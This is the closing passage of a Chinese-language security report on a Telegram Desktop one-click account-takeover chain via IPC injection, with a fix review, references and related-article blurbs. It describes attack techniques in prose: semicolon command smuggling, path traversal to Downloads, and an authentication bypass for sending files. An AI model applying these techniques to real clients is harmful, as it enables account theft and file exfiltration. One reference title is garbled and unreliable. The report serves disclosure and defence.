本报告生产流水线(可复用模板):

① 对象定性    披露文+PoC链 → 修正审计框架(非工具,是链)
② 一手对证    tdesktop 仓库: 修复提交存在性/作者/日期 → 变更文件清单 → 前后源码逐行比对
③ 机制还原    八层链(OS scheme→IPC序列化→注入→内部scheme→缺鉴权→落盘→密钥包装→交付)
④ OS 映射     Qt 层 → Win32 调用表 + 观测点(Sysmon/ETW/Procmon) —— 全程标注【推断】
⑤ 类型裁定    CWE-147 + CWE-862 双缺陷; CVSS 8.1 逐分量复核(对比上案 8.8 的口径教训)
⑥ 谱系定位    scheme 注入家族 + 遗留功能网络化家族 + tdata 窃取家族 + ATT&CK 映射
⑦ 工程转化    红队链路定位 / 蓝队五检测点 / 四条加固 / 应急剧本 / 12 配方
⑧ 方法沉淀    三对比表(渠道/修复方案/载荷变体) + AI 辅助价值与翻车记录
⑨ 卫生清理    下载物删除(执行记录见文末)

修复 commit 的交付质量点评(代码交付能力视角):diff +126/−372——删的比加的多一倍半,是\"移除危险面\"而非\"加补丁堵漏\";两处防御逻辑(CTRL 门禁、本地路径丢弃)各带完整注释解释为什么存在(不变量陈述),半年后接手的人不需要考古;无测试配套是唯一扣分项(该类 IPC 行为极适合协议级单测)。


13. 骚操作 Top 10(速览收编)

  1. 1. 一次点击 = 一串命令:分号走私让 URL 从\"一个值\"变\"一个队列\"。
  2. 2. carrier 技巧:tg://x?a=1 是不触发任何处理器的心跳载体,纯粹为了把 OPEN: 顶进队列。
  3. 3. 受害者客户端 = 攻击者的投递器:群组自动下载(≤8MiB、原名、免点击)解决了\"怎么把指令文件放到可预测路径\"这个天问。
  4. 4. 相对路径免用户名:工作目录=数据目录 → ../../../Downloads 把唯一未知量抹掉。
  5. 5. 省略 from: = 跳过鉴权:可选项成为鉴权旁路——\"默认放行\"式接口设计的反面教材。
  6. 6. 恒定目录名 D877F783D5D3EF8C:所有安装同一路径,路径预言机 +1。
  7. 7. 多分号堆叠:InterpretSendPath 一次一文件 → 三个分号叠出三连发,绕开单文件限制。
  8. 8. https 302 绕过进程内点击处理:利用\"Telegram 无内嵌浏览器\"这个产品事实。
  9. 9. 静默修复的披露博弈:changelog 只写渲染修复 → 用户提前安全 + 研究者提前拿回披露权。
  10. 10. 官方修复的自觉:把\"连接里混入外部 URL 和本地路径 = 走私\"写成运行时不变量监控——补丁自带哲学。

14. 证据边界与未决问题

  • • 披露原文是链条叙事的唯一来源;本报告独立核验了修复提交/标签/前后源码(§6),未做动态复现——R1-R12 配方交付即用,行为观测值以实测为准。
  • • 行号漂移:披露文引用的 sandbox.cpp:453-463 / application.cpp:1162-1164 与修复前快照实测(约 520 / 1233)不一致,代码内容逐字一致——不同版本快照所致,已标注。
  • • Windows-only:链路在 Windows 6.9.3 确认【披露】;Linux/macOS 的单实例机制同为 socket 文本协议但路径/自动下载语义不同【未核验】。
  • • XDG_ACTIVATION_TOKEN: 记录(base64→环境变量)为本报告独立发现【已核验:修复前源码存在,v7.2.9 未改动】,其实际攻击面未研究——留作后续课题。
  • • CVE 细节:CVE-2026-107181 于 2026-10-07 分配【披露】,描述文本未独立获取。
  • • CVSS 8.1 为披露文给出的分量组合【披露】,本报告逐分量复核认可。

15. 参考与出处

研究对象

  • • BeakSec, Telegram Desktransform: translateY( one-click account takeover via IPC injection, 2026-10-03(CC BY 4.0,本报告引用其叙事与源码摘录均标注【披露】)

官方一手证据(本报告独立核验)

  • • https://github.com/telegramdesktop/tdesktop 修复提交 db3405699f8fc3ae28a58d2348b7d13a43c0590a(\"Remove legacy interpret path helper.\",2026-09-16,+126/−372)【已核验】
  • • https://github.com/telegramdesktop/tdesktop/tree/v7.2.9 (EscapeTo7bit/EscapeFrom7bit、externalUrlReceived 纵深防御、interpret 归零)【已核验】
  • • 修复前快照(db3405699f^):core/sandbox.cpp(分号切割循环/OPEN: 8192 截断/XDG_ACTIVATION_TOKEN:)、core/application.cpp(interpret 分发)、support/support_helper.cpp:673(InterpretSendPath)【已核验】

关联谱系

  • • 自定义协议处理器参数注入类(检索关键词:custom URL protocol handler argument injection、single-instance IPC injection)
  • • MITRE ATT&CK:T1566.002 / T1552.001 / T1555 / T1041(本报告映射)

报告完 · 基于公开披露与官方源码的授权研究 · 请勿对未授权系统使用文中任何技术


CVE-2026-107181TelegramDesktop一键账户接管" 网络安全文章

CVE-2026-107181TelegramDesktop一键账户接管"

该报告分析CVE-2026-107181漏洞链,涉及TelegramDesktop单实例IPC记录注入与interpretscheme缺失鉴权,可导致一键账户接管。漏洞链由两个缺陷组成:记录分隔符未转义实现IPC注入,以及内部interpretscheme无鉴权可读取任意文件并发送至攻击者频道。修复版本为7.2.9,CVSS8.1。报告详细核验了修复提交,并提供了技术细节与缓解建议。
黑客远程切断智能插排,国庆归来,整缸观赏鱼集体死亡" 网络安全文章

黑客远程切断智能插排,国庆归来,整缸观赏鱼集体死亡"

智能插排厂商服务器遭黑客入侵致用户设备远程断电,造成观赏鱼死亡,暴露物联网设备云端集中控制架构的单点故障风险。文章警示物联网设备防护薄弱,建议用户进行断云演练、隔离智能设备、修改默认密码、关键设施加物理兜底并关注厂商安全响应,强调网络攻击后果已从数据损失升级为物理世界损害。
让安全检测不再拖慢网络,安恒明御防火墙新一代AI+FPGA架构发布" 网络安全文章

让安全检测不再拖慢网络,安恒明御防火墙新一代AI+FPGA架构发布"

安恒信息发布明御防火墙新一代AI+FPGA架构,采用FPGA+CPU异构设计,使AI安全检测跑在线速上,解决传统防火墙在超大流量下只能抽样检测的痛点。该架构支持策略全开性能不降、逐包检测判定即阻断,并通过冷热数据分流实现自我进化,面向高校、金融、运营商等场景提供高吞吐、低时延的安全防护。
评论:0   参与:  0